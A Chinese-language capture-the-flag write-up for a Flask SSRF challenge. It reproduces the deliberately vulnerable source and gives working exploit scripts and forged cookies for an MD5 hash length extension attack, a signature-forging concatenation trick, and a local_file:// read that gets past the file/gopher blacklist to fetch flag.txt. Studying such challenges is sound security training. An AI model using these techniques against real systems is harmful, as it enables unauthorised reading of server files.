直接查看页面源代码可以看到正确格式的代码
#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print(resp) tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
提示给的是 flag 在 ./flag.txt 中,题目单词打错了
python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战
大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txt
,action
中要含有 read
和 scan
,且 sign=md5(secert_key + param + action)
这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html
secert_key
是一个长度为 16 的字符串,在 /geneSign?param=flag.txt
中可以获取 md5(secert_key + 'flag.txt' + 'scan')
的值,为 8370bdba94bd5aaf7427b84b3f52d7cb
,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan')
的值
使用 hashpump 即可
root@peri0d:~/HashPump# hashpump Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb Input Data: scan Input Key Length: 24 Input Data to Add: read d7163f39ab78a698b3514fd465e4018a scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
exp :
import requests url = 'http://139.180.128.86/De1ta?param=flag.txt' cookies = { 'sign': 'd7163f39ab78a698b3514fd465e4018a', 'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read', } res = requests.get(url=url, cookies=cookies) print(res.text)
试着访问了一下 /geneSign?param=flag.txt
,给出了一个 md5 8370bdba94bd5aaf7427b84b3f52d7cb
,但是只有 scan
的功能,想加入 read
功能就要另想办法了
def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
不妨假设 secert_key
是 xxx
,那么在开始访问 /geneSign?param=flag.txt
的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan')
,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan)
,这就很有意思了。
直接构造访问 /geneSign?param=flag.txtread
,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan')
,等价于 md5('xxxflag.txtreadscan')
,这就达到了目标。
直接访问 /De1ta?param=flag.txt
构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e
即可
天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16
放上他们的 exp :
import requests conn = requests.Session() url = "http://139.180.128.86" def geneSign(param): data = { "param": param } resp = conn.get(url+"/geneSign",params=data).text print resp return resp def challenge(action,param,sign): cookie={ "action":action, "sign":sign } params={ "param":param } resp = conn.get(url+"/De1ta",params=params,cookies=cookie) return resp.text filename = "local_file:///app/flag.txt" a = [] for i in range(1): sign = geneSign("{}read".format(filename.format(i))) resp = challenge("readscan",filename.format(i),sign) if("title" in resp): a.append(i) print resp,i print a
请求 /geneSign?param=local_file:///app/flag.txtread
获取 md5 值为 60ff07b83381a35d13caaf2daf583c94
,即 md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')
然后再请求 /De1ta?param=local_file:///app/flag.txt
构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94
以上就是他们 exp 做的事情,和上一个方法差不多
关于 local_file
:
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt
或 ./flag.txt
去访问,也可以使用类似的 file:///app/flag.txt
去访问,但是 file
关键字在黑名单里,可以使用 local_file
代替
如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file
,否则会报 ValueError: unknown url type: /path/to/file
的错误